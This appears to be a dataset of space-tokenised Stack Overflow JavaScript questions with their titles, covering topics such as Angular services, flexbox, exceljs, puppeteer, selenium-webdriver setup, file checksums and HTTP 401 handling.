i.e . replace the original functions possible ?" "JS : Someone asked me this question and my first thought was : no . However , when you remove the style elements , the page automatically updates , removing the styling . This could be because of how the browser hooks css - I think I recall that CSS updates on every event ( mouse movement , clicks , type , etc ) .I just wanted to confirm , that getting rid of the script tag , wo n't get rid of the function that was already created , since I 'm not at a computer where I can test.This also has got me thinking of good practice to help secure code against firebug [ -like ] users var scripts = document.getElementsByTagName ( `` script '' ) ; for ( var i=scripts.length ; i -- ; ) { ( scripts [ i ] ) .parentNode.removeChild ( scripts [ i ] ) ; }",Does removing a script element remove its functions from memory ? "JS : I 'm working on an Angular project at the minute that is designed to very modular - sections of the app can be enabled and disabled for different clients using Webpack . This structure is working nicely for me so far , but one issue I 've run into is working out how to handle services that might not always be present.My current solution is pretty simple - I use $ injector.has ( ) to check if the service currently exists , and if so , I use $ injector.get ( ) to grab it : This seems to work - however , I ca n't find much information on the use of this pattern and whether or not it has any potential downsides.So , my questions are : Are there any caveats to using the injector this way that I should be aware of ? Is there a better/more idiomatic way of doing this ? function initialize ( $ injector ) { if ( $ injector.has ( `` barcode '' ) ) { let barcode = $ injector.get ( `` barcode '' ) ; // Do stuff with the barcode service } }",Accessing an Angular service that may or may not exist JS : Here the code lays focus on second div . Now I want to set background color for focused element to another color for few secs and then fade back to it 's original color . How to do that ? $ ( function ( ) { $ ( `` # two '' ) .focus ( ) ; } ) ; body { color : white ; } # fis { height:600px ; width : 60px ; background-color : red ; } # two { height:600px ; width : 60px ; background-color : green ; } # thr { height:600px ; width : 60px ; background-color : blue ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < div id= '' fis '' > hello < /div > < div id='two ' tabindex= ' 1 ' > mr < /div > < div id='thr ' > john < /div >,How can I change the background color of focused element for few seconds ? "JS : I am looping through Sheet 1 of an Excel file which contains 3 columns with 100s of rows of data ( strings ) and comparing each cell in a row against rows of combinations in Sheet 2.Checking should start using Sheet 1 row by row , seeing if each cell 's value in the row matches anywhere what is in Sheet 2 , row by row . If a check fails , then further checks on that row should cease and the next row to be checked commences . Cells in Sheet 1 that could n't be matched should be marked red.My code below is close to what I need , but throws an error if there are 2 or more cells in a row of Sheet 1 ( E.g . Row 1 : B2 and B3 ) which do n't match anything in any row of Sheet 2.Error : Example data : Sheet 1 : Sheet 2 : According to the example data , there should be three cells ( B1 , B5 and C11 ) marked red in Sheet 1 of new.xlsx . E.g.This is a scenarios example PDF of how the checking should take place : Code : ( node:9040 ) UnhandledPromiseRejectionWarning : Error : Invalid Address : Aundefined at Object.validateAddress ( C : \node_modules\exceljs\dist\es5\utils\col-cache.js:86:13 ) at new module.exports ( C : \node_modules\exceljs\dist\es5\doc\cell.js:29:12 ) at module.exports.getCellEx ( C : \node_modules\exceljs\dist\es5\doc\row.js:55:14 ) at module.exports.getCell ( C : \node_modules\exceljs\dist\es5\doc\row.js:72:41 ) at C : \so.js:56:61 at C : \node_modules\exceljs\dist\es5\doc\worksheet.js:370:11 at Array.forEach ( < anonymous > ) at module.exports.eachRow ( C : \node_modules\exceljs\dist\es5\doc\worksheet.js:368:18 ) at C : \so.js:16:19 at < anonymous > ( node:9040 ) UnhandledPromiseRejectionWarning : Unhandled promise rejection . This error originated either by throwing inside of an async function without a catch block , or by rejecting a promise which was not handled with .catch ( ) . ( rejection id : 1 ) ( node:9040 ) [ DEP0018 ] DeprecationWarning : Unhandled promise rejections are deprecated . In the future , promise rejections that are not handled will terminate the Node.js process with a non-zero exit code . | COL A | COL B | COL C || -- -- -- -| -- -- -- -- | -- -- -- -- || bob | one | silver || bob | eleven | blue || bob | eleven | red || bob | eleven | red || bob | one | red || bob | eight | red || bob | eight | red || bob | eight | red || terry | seven | yellow || terry | seven | yellow || terry | seven | gold | | COL A | COL B | COL C || -- -- -- -| -- -- -- -- | -- -- -- -- || bob | eleven | blue || bob | eleven | red || bob | eight | red || terry | seven | yellow || terry | seven | orange | // Import the libraryvar Excel = require ( 'exceljs ' ) , moment = require ( 'moment ' ) , // Define Excel filename ExcelFile = 'so.xlsx ' , // Read from the file workbook = new Excel.Workbook ( ) ; workbook.xlsx.readFile ( ExcelFile ) .then ( function ( ) { // Use workbook var dataSheet = workbook.getWorksheet ( 'Sheet 1 ' ) , masterSheet = workbook.getWorksheet ( 'Sheet 2 ' ) ; dataSheet.eachRow ( { includeEmpty : false } , function ( dataRow , dataRowNumber ) { var dataRowCells = { dataCell1 : dataRow.getCell ( ' A ' ) , dataCell2 : dataRow.getCell ( ' B ' ) , dataCell3 : dataRow.getCell ( ' C ' ) } , isdataRowOK = false , oneOfBestMasterRowNumber , cellNames = [ ' A ' , ' B ' , ' C ' ] ; masterSheet.eachRow ( { includeEmpty : false } , function ( masterRow , masterRowNumber ) { if ( ! isdataRowOK ) { var numberOfGoodCellsInRow = 0 ; for ( var i = 1 ; i < 4 ; i++ ) if ( dataRowCells [ 'dataCell ' + i ] .value === masterRow.getCell ( cellNames [ i-1 ] ) .value ) numberOfGoodCellsInRow++ ; if ( numberOfGoodCellsInRow == 2 ) oneOfBestMasterRowNumber = masterRowNumber ; if ( numberOfGoodCellsInRow == 3 ) isdataRowOK = true } } ) ; if ( ! isdataRowOK ) { var masterRowForCheck = masterSheet.getRow ( oneOfBestMasterRowNumber ) ; for ( var i = 1 ; i < 4 ; i++ ) { var dataCell = dataRowCells [ 'dataCell ' + i ] ; if ( dataCell.value ! == masterRowForCheck.getCell ( cellNames [ i-1 ] ) .value ) { // Mark this failed cell as color red dataCell.style = Object.create ( dataCell.style ) ; // Shallow-clone the style , break references dataCell.fill = { type : 'pattern ' , pattern : 'solid ' , fgColor : { argb : 'FA8072 ' } } ; // Set background } } } } ) ; return workbook.xlsx.writeFile ( 'new.xlsx ' ) ; } ) ;",UnhandledPromiseRejectionWarning : Error : Invalid Address : Aundefined . How to handle it ? "JS : I have an outerWrapper , innerWrapper , and children . outerWrapper has a height of 300px , and is display : flex . innerWrapper is also display : flex , and is flex-direction : column.When I add align-items with a value of anything but stretch to outerWrapper , the children display one long column . They ignore the 300px height . Here 's an image of how it displays : It should display like this : Just with align-items : flex-end.Why is this happening , and how can I use align-items : flex-end and have the children display like the second image ? JSFiddleUpdateThe answer to this question , is to add a height of 210px to innerWrapper . But I need to get to that number using JavaScript , because the amount of boxes will be dynamic.I tried the following code : but it did n't fix it . It just made the height to : 5 * 102 ( 5 = number of boxes ; 102 = height + border ) .How can I set the correct height to innerWrapper using JavaScript ? ( I ca n't do height : 100 % because I wo n't be able to set align-items : flex-end or center . ) JSFiddle # outerWrapper { height : 300px ; background-color : lightgreen ; display : flex ; flex-wrap : wrap ; justify-content : center ; align-items : flex-end ; } ul { padding : 0 ; margin : 0 ; display : flex ; align-items : center ; flex-wrap : wrap ; flex-direction : column ; } li { list-style-type : none ; width : 100px ; height : 100px ; background-color : lightblue ; border : 1px solid ; } < div id= '' outerWrapper '' > < ul id= '' innerWrapper '' > < li class= '' child '' > I 'm # 01 < /li > < li class= '' child '' > I 'm # 02 < /li > < li class= '' child '' > I 'm # 03 < /li > < li class= '' child '' > I 'm # 04 < /li > < li class= '' child '' > I 'm # 05 < /li > < /ul > < /div > innerWrapper.style.height = ( lastChild.offsetTop - innerWrapper.offsetTop + lastChild.offsetHeight ) + 'px ' ; var innerWrapper = document.getElementById ( 'innerWrapper ' ) ; var lastChild = innerWrapper.lastElementChild ; newHight = lastChild.offsetTop - innerWrapper.offsetTop + lastChild.offsetHeight ; innerWrapper.style.height = newHight + 'px ' ; # outerWrapper { height : 300px ; background-color : lightgreen ; display : flex ; flex-wrap : wrap ; justify-content : center ; align-items : flex-end ; } ul { padding : 0 ; margin : 0 ; display : flex ; align-items : center ; flex-wrap : wrap ; flex-direction : column ; /*height : 206px ; */ } li { list-style-type : none ; width : 100px ; height : 100px ; background-color : lightblue ; border : 1px solid ; } < div id= '' outerWrapper '' > < ul id= '' innerWrapper '' > < li class= '' child '' > I 'm # 01 < /li > < li class= '' child '' > I 'm # 02 < /li > < li class= '' child '' > I 'm # 03 < /li > < li class= '' child '' > I 'm # 04 < /li > < li class= '' child '' > I 'm # 05 < /li > < /ul > < /div >",Flex items not wrapping in column-direction flexbox "JS : What is the ideal location to install selenium-webdriver to work with NodeJS + Selenium + Mocha ( On Windows ) I have just started to explore NodeJS with Selenium . Moving forward I will be working with NodeJS + Selenium + MochaInstalled node.js : Installed npm : Configured nodeclipse as per http : //www.nodeclipse.org/updates/ and my Project structure looks like : Now , I am not sure about the exact location to install selenium-webdriverInstalled selenium-webdriver at the default location ( through command-line ) as per ( http : //www.nodeclipse.org/updates/ ) Installed selenium-webdriver at the current project directory ( through command-line ) as per ( https : //dzone.com/articles/selenium-nodejs-and-mocha ) Wrote my first program through NodeJS-Selenium as first_test.js and it executes well.Code : Execution : My Question : How can I know from which location of selenium-webdriver is Testcase getting executed ? How can I remove/uninstall the additional selenium-webdriver installation completely ? How can I generate some granular trace level logs to know whats happening within ? While with Selenium-Java binding I add the jars at project level where as with Selenium-Python binding PyDev module binded the Python Home to Eclipse by default.Any suggestions/pointers will be helpful . C : \Users\AtechM_03 > node -vv6.11.2 C : \Users\AtechM_03 > npm -v3.10.10 C : \Users\AtechM_03 > npm install selenium-webdriverC : \Users\AtechM_03 ` -- selenium-webdriver @ 3.5.0 + -- jszip @ 3.1.3 | + -- core-js @ 2.3.0 | + -- es6-promise @ 3.0.2 | + -- lie @ 3.1.1 | | ` -- immediate @ 3.0.6 | + -- pako @ 1.0.5 | ` -- readable-stream @ 2.0.6 | + -- core-util-is @ 1.0.2 | + -- inherits @ 2.0.3 | + -- isarray @ 1.0.0 | + -- process-nextick-args @ 1.0.7 | + -- string_decoder @ 0.10.31 | ` -- util-deprecate @ 1.0.2 + -- rimraf @ 2.6.1 | ` -- glob @ 7.1.2 | + -- fs.realpath @ 1.0.0 | + -- inflight @ 1.0.6 | | ` -- wrappy @ 1.0.2 | + -- minimatch @ 3.0.4 | | ` -- brace-expansion @ 1.1.8 | | + -- balanced-match @ 1.0.0 | | ` -- concat-map @ 0.0.1 | + -- once @ 1.4.0 | ` -- path-is-absolute @ 1.0.1 + -- tmp @ 0.0.30 | ` -- os-tmpdir @ 1.0.2 ` -- xml2js @ 0.4.17 + -- sax @ 1.2.4 ` -- xmlbuilder @ 4.2.1 ` -- lodash @ 4.17.4npm WARN enoent ENOENT : no such file or directory , open ' C : \Users\AtechM_03\package.json'npm WARN AtechM_03 No descriptionnpm WARN AtechM_03 No repository field.npm WARN AtechM_03 No README datanpm WARN AtechM_03 No license field . C : \Users\AtechM_03\LearnAutmation\NodeProject > npm install selenium-webdriverNodeProject @ 0.1.0 C : \Users\AtechM_03\LearnAutmation\NodeProject ` -- selenium-webdriver @ 3.5.0 + -- jszip @ 3.1.4 | + -- core-js @ 2.3.0 | + -- es6-promise @ 3.0.2 | + -- lie @ 3.1.1 | | ` -- immediate @ 3.0.6 | + -- pako @ 1.0.6 | ` -- readable-stream @ 2.0.6 | + -- core-util-is @ 1.0.2 | + -- inherits @ 2.0.3 | + -- isarray @ 1.0.0 | + -- process-nextick-args @ 1.0.7 | + -- string_decoder @ 0.10.31 | ` -- util-deprecate @ 1.0.2 + -- rimraf @ 2.6.2 | ` -- glob @ 7.1.2 | + -- fs.realpath @ 1.0.0 | + -- inflight @ 1.0.6 | | ` -- wrappy @ 1.0.2 | + -- minimatch @ 3.0.4 | | ` -- brace-expansion @ 1.1.8 | | + -- balanced-match @ 1.0.0 | | ` -- concat-map @ 0.0.1 | + -- once @ 1.4.0 | ` -- path-is-absolute @ 1.0.1 + -- tmp @ 0.0.30 | ` -- os-tmpdir @ 1.0.2 ` -- xml2js @ 0.4.19 + -- sax @ 1.2.4 ` -- xmlbuilder @ 9.0.4npm WARN NodeProject @ 0.1.0 No repository field . var webdriver = require ( 'selenium-webdriver ' ) ; var driver = new webdriver.Builder ( ) . withCapabilities ( webdriver.Capabilities.chrome ( ) ) . build ( ) ; driver.get ( 'http : //www.google.com ' ) ; driver.findElement ( webdriver.By.name ( ' q ' ) ) .sendKeys ( 'simple programmer ' ) ; driver.findElement ( webdriver.By.name ( ' q ' ) ) .submit ( ) ; driver.quit ( ) ; C : \Users\AtechM_03\LearnAutmation\NodeProject\Selenium > node first_test.js C : \Users\AtechM_03\LearnAutmation\NodeProject\Selenium >",What is the ideal location to install selenium-webdriver to work with NodeJS + Selenium + Mocha ( On Windows ) "JS : I 've been watching Douglas Crockford 's talks at YUI Theater , and I have a question about JavaScript inheritance ... Douglas gives this example to show that `` Hoozit '' inherits from `` Gizmo '' : Why does he write Hoozit.prototype = new Gizmo ( ) instead of Hoozit.prototype = Gizmo.prototype ? Is there any difference between these two ? function Hoozit ( id ) { this.id = id ; } Hoozit.prototype = new Gizmo ( ) ; Hoozit.prototype.test = function ( id ) { return this.id === id ; } ;",Prototypal inheritance in JavaScript "JS : Possible Duplicate : Javascript : Do I need to put this.var for every variable in an object ? I 'm struggling to understand functions and objects in javascript . It is said that also functions are objects and objects are kind of `` associative arrays '' i.e . collections of key-value pairs . I understand that if I writebecause variables have function scope . But if I writeBut finally , If I writeSo I can give myFunction property `` value '' but from `` outside '' . Can someone explain what is going on and why this.value = 0 ; doesnt create property `` value '' . function myFunction ( ) { var value = 0 ; } alert ( myFunction.value ) ; //then this gives me `` undefined '' function myFunction ( ) { this.value = 0 ; } alert ( myFunction.value ) ; //then this gives me `` undefined '' too . function myFunction ( ) { this.value = 0 ; } myFunction.value = 0 ; alert ( myFunction.value ) ; //then this gives me 0",Objects and functions in javascript "JS : I have a list of elements where I need to figure out the dependency.I have : a is depending on b and d , and d on c and e. Is there a way to construct the dependencies in a clever way for this ? The output should ( could ) be : /Kristian [ { `` a '' : [ `` b '' , `` d '' ] } , { `` d '' : [ `` c '' , `` e '' ] } ] [ `` b '' , `` c '' , `` e '' , `` d '' , `` a '' ]",Javascript dependency list "JS : I 'm trying to write a factory which exposes a simple users API . I 'm new to AngularJS and I 'm a bit confused about factories and how to use them . I 've seen other topics but none that are a good match to my use case.For the sake of simplicity , the only functionality I 'd like to achieve is getting all users in an array and then pass them to a controller through the injected factory.I stored the users in a json file ( for now I only want to read that file , without modifying the data ) users.json : The factory I 'm trying to write should be something like this : UsersFactory : And finally , the controller call would be like this : UsersControllerI 've searched the web and it seems like it is not really a good practice to use factories this way , and if I 'd like to achieve some more functionality like adding/removing a new user to/from the data source , or somehow store the array within the factory , that would n't be the way to do it . I 've seen some places where the use of the factory is something like new UsersFactory ( ) .What would be the correct way to use factories when trying to consume APIs ? Is it possible to initialize the factory with an object containing the $ http.get ( ) result and then use it from the controller this way ? [ { `` id '' : 1 , `` name '' : `` user1 '' , `` email '' : `` a @ b.c '' } , { `` id '' : 2 , `` name '' : `` user2 '' , `` email '' : `` b @ b.c '' } ] app.factory ( 'usersFactory ' , [ ' $ http ' , function ( $ http ) { return { getAllUsers : function ( ) { return $ http.get ( 'users.json ' ) .then ( function ( result ) { return result.data ; } , function ( error ) { console.log ( error ) ; } ) ; } } ; } ] ) ; app.controller ( 'UsersCtrl ' , [ ' $ scope ' , 'usersFactory ' , function ( $ scope , usersFactory ) { usersFactory.getAllUsers ( ) .then ( function ( result ) { $ scope.users = result ; } ) ; } ] ) ; var usersFactory = new UsersFactory ( ) ; // at this point the factory should already contain the data consumed by the APIusersFactory.someMoreFunctionality ( ) ;",Using factory to expose a simple API "JS : If you have an input element in a form with the same name as a form 's native property , then that element will shadow the native property . For example , consider the following form : The form element 's tagName and nodeName both normally return FORM . But in this case , the following code : displays : Is there a workaround for this ( other than renaming the fields ) ? getAttribute works for things like name , action , or method , but not for properties like nodeName or tagName.Fiddle here.Something even more interesting : in this fiddle I 'm simply logging the form itself . Normally that would show you the HTML , but now Chrome simply logs TypeError . < form id = `` test '' > < input name= '' tagName '' type= '' text '' / > < input name= '' nodeName '' type= '' text '' / > < /form > var f = document.getElementById ( `` test '' ) ; console.log ( f.tagName ) ; console.log ( f.nodeName ) ; console.log ( f [ `` tagName '' ] ) ; console.log ( f [ `` nodeName '' ] ) ; < input name=​ '' tagName '' type=​ '' text '' > ​ < input name=​ '' nodeName '' type=​ '' text '' > ​ < input name=​ '' tagName '' type=​ '' text '' > ​ < input name=​ '' nodeName '' type=​ '' text '' > ​","Form elements with a name attribute that is the same as a form-property , shadow/override the native form-property . Is there a workaround ?" "JS : I am trying to implement backpropagation with recursion for academic purposes , but it seems I have gone wrong somewhere . Have been tinkering with it for a while now but either get no learning at all or no learning on the second pattern.Please let me know where I 've gone wrong . ( This is javascript syntax ) Note : errors are reset to null before every learning cycle . this.backpropagate = function ( oAnn , aTargetOutput , nLearningRate ) { nLearningRate = nLearningRate || 1 ; var oNode , n = 0 ; for ( sNodeId in oAnn.getOutputGroup ( ) .getNodes ( ) ) { oNode = oAnn.getOutputGroup ( ) .getNodes ( ) [ sNodeId ] ; oNode.setError ( aTargetOutput [ n ] - oNode.getOutputValue ( ) ) ; n ++ ; } for ( sNodeId in oAnn.getInputGroup ( ) .getNodes ( ) ) { this.backpropagateNode ( oAnn.getInputGroup ( ) .getNodes ( ) [ sNodeId ] , nLearningRate ) ; } } this.backpropagateNode = function ( oNode , nLearningRate ) { var nError = oNode.getError ( ) , oOutputNodes , oConn , nWeight , nOutputError , nDerivative = oNode.getOutputValue ( ) * ( 1 - oNode.getOutputValue ( ) ) , // Derivative for sigmoid activation funciton nInputValue = oNode.getInputValue ( ) , n ; if ( nError === null /* Dont do the same node twice */ & & oNode.hasOutputs ( ) ) { nDerivative = nDerivative || 0.000000000000001 ; nInputValue = nInputValue || 0.000000000000001 ; oOutputNodes = oNode.getOutputNodes ( ) ; for ( n=0 ; n < oOutputNodes.length ; n++ ) { nOutputError = this.backpropagateNode ( oOutputNodes [ n ] , nLearningRate ) ; oConn = oAnn.getConnection ( oNode , oOutputNodes [ n ] ) ; nWeight = oConn.getWeight ( ) ; oConn.setWeight ( nWeight + nLearningRate * nOutputError * nDerivative * nInputValue ) ; nError += nOutputError * nWeight ; } oNode.setError ( nError ) ; } return oNode.getError ( ) ; }",ANN : Recursive backpropagation "JS : I ’ m trying check if elements are available on a page from within a function , if the element is on the page , good , continue with the code , if not , log the error.Using the try puppeteer page , here is what I tried : I get Error running your code . SyntaxError : Unexpected identifier . I debugged a bit and it seems that page within the check function is the unexpected identifier . So I tried to pass it in with force like this : but I get the same Error running your code . SyntaxError : Unexpected identifier error ... What am I doing wrong ? const browser = await puppeteer.launch ( ) ; const page = await browser.newPage ( ) ; const check = element = > { try { await page.waitFor ( element , { timeout : 1000 } ) ; } catch ( e ) { console.log ( `` error : `` , e ) await browser.close ( ) ; } } await page.goto ( 'https : //www.example.com/ ' ) ; check ( `` # something '' ) ; console.log ( `` done '' ) await browser.close ( ) ; const browser = await puppeteer.launch ( ) ; const page = await browser.newPage ( ) ; const check = ( element , page ) = > { try { await page.waitFor ( element , { timeout : 1000 } ) ; } catch ( e ) { console.log ( `` error : `` , e ) await browser.close ( ) ; } } await page.goto ( 'https : //www.example.com/ ' ) ; check ( `` # something '' , page ) ; console.log ( `` done '' ) await browser.close ( ) ;",How to pass the `` page '' element to a function with puppeteer ? "JS : I am working to improve performance of a function that takes an XML string and replaces certain characters ( encoding ) before returning the string . The function gets pounded , so it is important to run as quickly as possible . The USUAL case is that none of the characters are present - so I would like to especially optimize for that . As you will see in the sample code , the strings to be replaced are short , and relatively few . The source strings will often be short ( e.g . 10-20 characters ) but could be longer ( e.g . 200 characters or so ) .So far I have ensured that the regexes are precompiled and I 've eliminated nested functions which slowed down operation ( partial milliseconds matter at this point . ) Is it possible that in this scenarioString.replace functions will be better ? Currently I am replacing all characters if a singlecharacter matches - is it possiblethat testing and then conditionallyreplacing would be better ? If so , might indexOf be quicker than a regex for this dataset ? var objXMLToString = new XMLToStringClass ( ) ; function XMLToStringClass ( ) { this.tester= /\\34|\\39|\\62|\\60|\\13\\10|\\09|\\92| & amp/ ; this.replacements= [ ] ; var self=this ; function init ( ) { var re = new regexReplacePair ( /\\34/g , ' '' ' ) ; self.replacements.push ( re ) ; re = new regexReplacePair ( /\\39/g , '' ' '' ) ; self.replacements.push ( re ) ; re = new regexReplacePair ( /\\62/g , '' > '' ) ; self.replacements.push ( re ) ; re = new regexReplacePair ( /\\60/g , '' < `` ) ; self.replacements.push ( re ) ; re = new regexReplacePair ( /\\13\\10/g , '' \n '' ) ; self.replacements.push ( re ) ; re = new regexReplacePair ( /\\09/g , '' \t '' ) ; self.replacements.push ( re ) ; re = new regexReplacePair ( /\\92/g , '' \\ '' ) ; self.replacements.push ( re ) ; re = new regexReplacePair ( /\ & amp ; /g , '' & '' ) ; self.replacements.push ( re ) ; } init ( ) ; } function regexReplacePair ( regex , replacementString ) { this.regex = regex ; this.replacement = replacementString ; } String.prototype.XMLToString = function ( ) { newString=this ; if ( objXMLToString.tester.test ( this ) ) { for ( var x = 0 ; x < objXMLToString.replacements.length ; x++ ) { newString=newString.replace ( objXMLToString.replacements [ x ] .regex , objXMLToString.replacements [ x ] .replacement ) ; } return newString ; } return this ; }",What is the optimal way to replace a series of characters in a string in JavaScript "JS : I have the following file input : You can Drag and Drop folder into this input . But how do I know if a user has dropped directory or a regular file ? const file = document.getElementById ( 'file ' ) ; file.addEventListener ( 'change ' , e = > { console.log ( e.target.files [ 0 ] ) ; } ) ; < input id= '' file '' type= '' file '' / >",How to check if selected file is a directory or regular file ? "JS : I need to write a function which tests , if given string is `` blank '' in a sense that it only contains whitespace characters . Whitespace characters are the following : The function will be called a lot of times , so it must be really , really performant . But should n't take too much memory ( like mapping every character to true/false in an array ) . Things I 've tried out so far : regexp - not quite performanttrim and check if length is 0 - not quite performant , also uses additional memory to hold the trimmed stringchecking every string character against a hash set containing whitespace characters ( if ( ! whitespaceCharactersMap [ str [ index ] ] ) ... ) - works well enoughmy current solution uses hardcoded comparisons : This seems to work 50-100 % faster than hash set ( tested on Chrome ) .Does anybody see or know further options ? Update 1I 'll answer some of the comments here : It 's not just checking user input for emptyness . I have to parse certain data format where whitespace must be handled separately.It is worth optimizing . I 've profiled the code before . Checking for blank strings seems to be an issue . And , as we saw , the difference in performance between approaches can be up to 10 times , it 's definitely worth the effort.Generally , I find this `` hash set vs. regex vs. switch vs. branching '' challenge very educating.I need the same functionality for browsers as well as node.js.Now here 's my take on performance tests : http : //jsperf.com/hash-with-comparisons/6I 'd be grateful if you guys run these tests a couple of times.Preliminary conclusions : branchlessTest ( a^9*a^10*a^11 ... ) is extremely fast in Chrome and Firefox , but not in Safari . Probably the best choice for Node.js from performance perspective.switchTest is also quite fast on Chrom and Firefox , but , surprizingly the slowest in Safari and OperaRegexps with re.test ( str ) perform well everywhere , even fastest in Opera.Hash and branching show almost identically poor results almost everywhere . Comparision is also similar , often worst performance ( this may be due to the implementation , check for ' ' should be the first one ) .To sum up , for my case I 'll opt to the following regexp version : Reasons : branchless version is cool in Chrome and Firefox but is n't quite portableswitch is too slow in Safariregexps seem to perform well everywhere , they 'll also very compact in code '\u0009 ' , '\u000A ' , '\u000B ' , '\u000C ' , '\u000D ' , ' ' , '\u0085 ' , '\u00A0 ' , '\u1680 ' , '\u180E ' , '\u2000 ' , '\u2001 ' , '\u2002 ' , '\u2003 ' , '\u2004 ' , '\u2005 ' , '\u2006 ' , '\u2007 ' , '\u2008 ' , '\u2009 ' , '\u200A ' , '\u2028 ' , '\u2029 ' , '\u202F ' , '\u205F ' , '\u3000 ' function ( str ) { var length = str.length ; if ( ! length ) { return true ; } for ( var index = 0 ; index < length ; index++ ) { var c = str [ index ] ; if ( c === ' ' ) { // skip } else if ( c > '\u000D ' & & c < '\u0085 ' ) { return false ; } else if ( c < '\u00A0 ' ) { if ( c < '\u0009 ' ) { return false ; } else if ( c > '\u0085 ' ) { return false ; } } else if ( c > '\u00A0 ' ) { if ( c < '\u2028 ' ) { if ( c < '\u180E ' ) { if ( c < '\u1680 ' ) { return false ; } else if ( c > '\u1680 ' ) { return false ; } } else if ( c > '\u180E ' ) { if ( c < '\u2000 ' ) { return false ; } else if ( c > '\u200A ' ) { return false ; } } } else if ( c > '\u2029 ' ) { if ( c < '\u205F ' ) { if ( c < '\u202F ' ) { return false ; } else if ( c > '\u202F ' ) { return false ; } } else if ( c > '\u205F ' ) { if ( c < '\u3000 ' ) { return false ; } else if ( c > '\u3000 ' ) { return false ; } } } } } return true ; } var re = / [ ^\s ] / ; return ! re.test ( str ) ;",The most performant way to check if a string is blank ( i.e . only contains whitespace ) in JavaScript ? "JS : Question : How to generate a checksum correctly , which is unique , consistent independent of browsers ? Also , I would like to convert a SHA256/MD5 checksum string to 64-bit.How to properly read a file without huge RAM requirement to generate checksum ? i.e . how do we deal with 1 GB file without compromising RAMe.g . Is it possible to read a file without loading it into memory ? ( see the answer ) This project seems promising , but could n't get it worked either.My intention is to generate the checksum progressively/incrementally in chunks of X MBs . This may help to avoid using too much RAM at a time.Following is the code , which is not working as expected : It shows different results in different browsers . let SIZE_CHECKSUM = 10 * Math.pow ( 1024 , 2 ) ; // 10 MB ; But can be 1 MB tooasync function GetChecksum ( file : File ) : Promise < string > { let hashAlgorithm : CryptoJS.lib.IHasher < Object > = CryptoJS.algo.SHA256.create ( ) ; let totalChunks : number = Math.ceil ( file.size / SIZE_CHECKSUM ) ; for ( let chunkCount = 0 , start = 0 , end = 0 ; chunkCount < totalChunks ; ++chunkCount ) { end = Math.min ( start + SIZE_CHECKSUM , file.size ) ; let resultChunk : string = await ( new Response ( file.slice ( start , end ) ) .text ( ) ) ; hashAlgorithm.update ( resultChunk ) ; start = chunkCount * SIZE_CHECKSUM ; } let long : bigInt.BigInteger = bigInt.fromArray ( hashAlgorithm.finalize ( ) .words , 16 , false ) ; if ( long.compareTo ( bigInt.zero ) < 0 ) long = long.add ( bigInt.one.shiftLeft ( 64 ) ) ; return long.toString ( ) ; }",How to generate checksum & convert to 64 bit in Javascript for very large files without overflowing RAM ? "JS : I 'm using this library and the jquery.validate library , and I got style issue : normally the error should be under the selectlist . my JS code : HTML code : HTML code whith error : errorElement : ' p ' , errorClass : 'help-block ' , errorPlacement : function ( error , element ) { if ( element.parent ( '.form-group ' ) .length ) { error.insertAfter ( element.parent ( ) ) ; } else { error.insertAfter ( element ) ; } } , highlight : function ( element ) { $ ( element ) .closest ( `` .form-group '' ) .addClass ( `` has-error '' ) .removeClass ( `` has-success '' ) ; $ ( element ) .parent ( ) .find ( '.form-control-feedback ' ) .removeClass ( 'glyphicon-ok ' ) .addClass ( 'glyphicon-remove ' ) ; } , unhighlight : function ( element ) { $ ( element ) .closest ( `` .form-group '' ) .removeClass ( `` has-error '' ) .addClass ( `` has-success '' ) ; $ ( element ) .parent ( ) .find ( '.form-control-feedback ' ) .removeClass ( 'glyphicon-remove ' ) .addClass ( 'glyphicon-ok ' ) ; } , < div class= '' form-group has-feedback '' > < label for= '' brands '' class= '' col-sm-2 '' > Brand : < /label > < div class= '' col-sm-9 '' > { ! ! Form : :select ( 'brands ' , $ brandsArray , 'default ' , [ 'class ' = > 'form-control combobox ' , 'id'= > 'brands ' ] ) ! ! } < /div > < div class= '' col-sm-1 '' > < ! -- < a href= '' # '' title= '' Add new brand '' data-toggle= '' modal '' data-target= '' # brandModal '' > < i class= '' fa fa-plus '' > < /i > < /a > -- > < button type= '' button '' class= '' btn btn-xs '' title= '' Add new brand '' id= '' addBrandLogo '' > < i class= '' fa fa-plus '' > < /i > < /button > < /div > < /div > < div class= '' col-sm-9 '' > < select name= '' brands '' id= '' brands '' class= '' form-control combobox select2-hidden-accessible '' tabindex= '' -1 '' aria-hidden= '' true '' aria-required= '' true '' aria-describedby= '' brands-error '' aria-invalid= '' true '' > < option selected= '' selected '' value= '' '' > ... < /select > < p id= '' brands-error '' class= '' help-block '' > Please enter brand name < /p > < span class= '' select2 select2-container select2-container -- default '' dir= '' ltr '' style= '' width : 497px ; '' > < span class= '' selection '' > ... < /span > < /span > < /div >",Select2 & JqueryValidator style issue "JS : I need to push a file from a node.js app , to a web server running elsewhere , which accepts files via the typical upload mechanism . For instance , say the receiving server has a page with a form like this : If the user selects a file , and then gives a filename in the text input field , that file will be uploaded to the server , via upload.php ( which I do n't control ) , and saved as the name supplied . ( there might be other items on the form , but I 'm showing only those for simplicity ) . The php script will respond with a simple text response of `` ok '' or `` error ... '' ( with the error ) .Now , I want to be able to send a file from node.js to that php script , programmatically . The file ( on the node.js side ) may or may not exist in the filesystem , or it could be something that comes in from somewhere else , for instance I might pull it down from a url , it might be uploaded by a user , etc.I 've seen some stuff along these lines , but I 'm not sure how to deal with the parameters ( filename , etc ) , nor am I sure what to supply in the options object . Also this example assumes it is coming from a file-system file , which as I say may or may not be the case . < form enctype= '' multipart/form-data '' action= '' upload.php '' method= '' POST '' > file : < input name= '' uploaded '' type= '' file '' / > < br / > name : < input type= '' text '' name= '' filename '' / > < br / > < input type= '' submit '' value= '' upload '' / > < /form > fs.createReadStream ( filename ) .pipe ( http.request ( options , function ( response ) { } ) ) ;","Uploading a file programmatically , from node.js , to another web server" "JS : I am using a very basic angularJS code for a user login like this : When the REST API generates an response with code 200 , then the client console will log success finally and the user is logged in.When the server generates a response with a 403 or 500 code , the console will print out catch finally . But when the response will be with a 401 , angular does not print out anything . The console will stay empty , only with the POST http : //127.0.0.1/login 401 ( Unauthorized ) hint . But no success or catch as output . And no finally neither . In my project , 403 will be catched globally with a $ rootScope. $ on ( 'event : auth-forbidden ' , function ( r ) { ... } ) ; . That 's why the REST Server will only throw 404 when something is not found , 403 when the user has no permission and/or is not logged in and 401 only if the login failed . So how can I catch a 401 on $ http ? Is n't the .then promise only for return 200 and the .catch for every other return ! = 200 ? I am using angularJS v1.6.4 with angular-http-auth v1.5.0 . [ 